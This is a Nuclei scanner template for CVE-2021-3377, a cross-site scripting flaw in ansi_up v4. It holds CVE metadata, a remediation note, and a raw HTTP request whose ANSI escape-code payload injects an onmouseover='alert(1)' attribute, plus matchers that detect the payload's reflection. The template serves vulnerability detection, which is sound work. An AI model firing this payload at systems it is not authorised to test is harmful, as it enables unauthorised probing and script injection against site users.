nuclei-templates/http/cves/2021/CVE-2021-3377.yaml

51 lines
1.8 KiB
YAML
Raw Permalink Normal View History

2021-07-26 17:18:45 +00:00
id: CVE-2021-3377
info:
name: npm ansi_up v4 - Cross-Site Scripting
author: geeknik
severity: medium
description: npm package ansi_up v4 is vulnerable to cross-site scripting because ANSI escape codes can be used to create HTML hyperlinks.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a user's browser, leading to potential data theft or unauthorized actions.
2023-09-06 12:09:01 +00:00
remediation: Upgrade to v5.0.0 or later.
reference:
- https://doyensec.com/resources/Doyensec_Advisory_ansi_up4_XSS.pdf
- https://github.com/drudru/ansi_up/commit/c8c726ed1db979bae4f257b7fa41775155ba2e27
- https://nvd.nist.gov/vuln/detail/CVE-2021-3377
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-3377
cwe-id: CWE-79
epss-score: 0.00129
2024-05-31 19:23:20 +00:00
epss-percentile: 0.47703
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:ansi_up_project:ansi_up:*:*:*:*:*:node.js:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: ansi_up_project
product: ansi_up
2023-09-06 12:09:01 +00:00
framework: node.js
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,xss,npm,ansi_up_project,node.js
2021-07-26 17:18:45 +00:00
http:
2021-07-26 17:18:45 +00:00
- raw:
- |+
GET /\u001B]8;;https://interact.sh"/onmouseover="alert(1)\u0007example\u001B]8;;\u0007 HTTP/1.1
2021-07-26 17:18:45 +00:00
Host: {{Hostname}}
Connection: close
unsafe: true
2023-07-11 19:49:27 +00:00
2021-07-26 17:18:45 +00:00
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
words:
- "sh\"/onmouseover=\"alert(1)\">"
# digest: 490a0046304402205c8639aeb3d9f40891d79f5e9810f3666015b266f3f9acf26a6526395b6be1a6022037577c58f45cb199e564690d2312d2ae86d41396ce8b5b54eb1d5765409913d0:922c64590222798bb761d5b6d8e72950